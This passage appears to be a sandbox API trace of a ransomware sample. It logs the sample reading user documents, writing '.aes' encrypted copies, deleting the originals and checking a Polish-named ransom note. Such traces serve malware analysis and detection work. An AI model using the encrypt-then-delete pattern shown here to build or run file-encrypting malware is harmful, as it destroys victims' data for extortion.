returned 0x37 [0076.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0076.591] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\SzJbmK.odt.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\szjbmk.odt.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0076.591] GetFileType (hFile=0x7ec) returned 0x1 [0076.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0076.592] GetFileType (hFile=0x7ec) returned 0x1 [0076.592] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0076.602] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0076.602] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0076.609] LocalFree (hMem=0x703ef10) returned 0x0 [0076.609] GetAdaptersAddresses () returned 0x6f [0076.614] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0076.614] GetAdaptersAddresses () returned 0x0 [0076.620] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0076.629] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0076.629] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0076.637] LocalFree (hMem=0x6ff2da0) returned 0x0 [0076.638] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0076.645] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0076.645] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0076.652] LocalFree (hMem=0x6ff2da0) returned 0x0 [0076.652] LocalFree (hMem=0x7074460) returned 0x0 [0076.652] GetBestInterfaceEx (in: pDestAddr=0x276df54*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0076.740] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.741] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.741] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.741] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.741] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.741] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.741] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.742] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.742] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.742] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.742] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.742] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.742] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.742] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.743] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.743] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.743] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.743] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.743] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.743] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.744] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.744] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.744] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.744] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.744] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.744] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.744] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.744] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.745] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.745] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.745] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.745] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.745] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.745] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0xde1, lpOverlapped=0x0) returned 1 [0076.745] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b92dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b92dc*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0076.746] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0xf01, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce974*=0xf01, lpOverlapped=0x0) returned 1 [0076.746] WriteFile (in: hFile=0x7ec, lpBuffer=0x2745950*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2745950*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0076.746] CloseHandle (hObject=0x7ec) returned 1 [0076.747] CloseHandle (hObject=0x8e4) returned 1 [0076.747] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\SzJbmK.odt", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\SzJbmK.odt", lpFilePart=0x0) returned 0x33 [0076.747] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\SzJbmK.odt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\szjbmk.odt")) returned 1 [0076.748] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x43 [0076.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0076.748] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79b9280, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe79b9280, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe79df3e0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0076.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0076.748] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0076.778] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\TWIwOWOOuJkW1 zw.xlsx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\TWIwOWOOuJkW1 zw.xlsx", lpFilePart=0x0) returned 0x3e [0076.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0076.778] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\TWIwOWOOuJkW1 zw.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\twiwowooujkw1 zw.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa55bec20, ftCreationTime.dwHighDateTime=0x1d302d9, ftLastAccessTime.dwLowDateTime=0xa2ac99e0, ftLastAccessTime.dwHighDateTime=0x1d2f6c0, ftLastWriteTime.dwLowDateTime=0xa2ac99e0, ftLastWriteTime.dwHighDateTime=0x1d2f6c0, nFileSizeHigh=0x0, nFileSizeLow=0xb498)) returned 1 [0076.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0076.778] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\TWIwOWOOuJkW1 zw.xlsx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\TWIwOWOOuJkW1 zw.xlsx", lpFilePart=0x0) returned 0x3e [0076.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0076.778] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\TWIwOWOOuJkW1 zw.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\twiwowooujkw1 zw.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0076.778] GetFileType (hFile=0x8e4) returned 0x1 [0076.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0076.778] GetFileType (hFile=0x8e4) returned 0x1 [0076.778] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\TWIwOWOOuJkW1 zw.xlsx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\TWIwOWOOuJkW1 zw.xlsx.aes", lpFilePart=0x0) returned 0x42 [0076.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0076.778] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\TWIwOWOOuJkW1 zw.xlsx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\twiwowooujkw1 zw.xlsx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0076.778] GetFileType (hFile=0x7ec) returned 0x1 [0076.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0076.778] GetFileType (hFile=0x7ec) returned 0x1 [0076.779] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0076.798] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0076.798] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0076.805] LocalFree (hMem=0x703ef10) returned 0x0 [0076.805] GetAdaptersAddresses () returned 0x6f [0076.814] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0076.814] GetAdaptersAddresses () returned 0x0 [0076.819] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0076.825] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0076.825] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0076.833] LocalFree (hMem=0x6ff2da0) returned 0x0 [0076.833] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0076.839] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0076.839] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0076.845] LocalFree (hMem=0x6ff2da0) returned 0x0 [0076.846] LocalFree (hMem=0x7074460) returned 0x0 [0076.846] GetBestInterfaceEx (in: pDestAddr=0x27ae5c8*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0076.930] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b884c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b884c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.931] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b884c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b884c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.931] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756e30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756e30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.931] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b884c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b884c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.931] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756e30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756e30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.931] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b884c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b884c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.932] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756e30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756e30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.932] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b884c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b884c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.932] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756e30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756e30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.932] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b884c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b884c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.932] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756e30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756e30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.932] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b884c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b884c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.933] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756e30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756e30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.933] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b884c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b884c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.933] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756e30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756e30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.933] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b884c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b884c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.933] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756e30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756e30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.933] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b884c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b884c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.934] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756e30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756e30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.934] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b884c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b884c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0076.934] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756e30*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2756e30*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0076.934] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b884c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b884c*, lpNumberOfBytesRead=0x77cea50*=0x498, lpOverlapped=0x0) returned 1 [0076.934] ReadFile (in: hFile=0x8e4, lpBuffer=0x26b884c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b884c*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0076.934] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756e30*, nNumberOfBytesToWrite=0x5b1, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2756e30*, lpNumberOfBytesWritten=0x77ce974*=0x5b1, lpOverlapped=0x0) returned 1 [0076.934] WriteFile (in: hFile=0x7ec, lpBuffer=0x2756e30*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2756e30*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0076.934] CloseHandle (hObject=0x7ec) returned 1 [0076.935] CloseHandle (hObject=0x8e4) returned 1 [0076.936] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\TWIwOWOOuJkW1 zw.xlsx", nBufferLength=0x105, lpBuffer=0x77ce628, 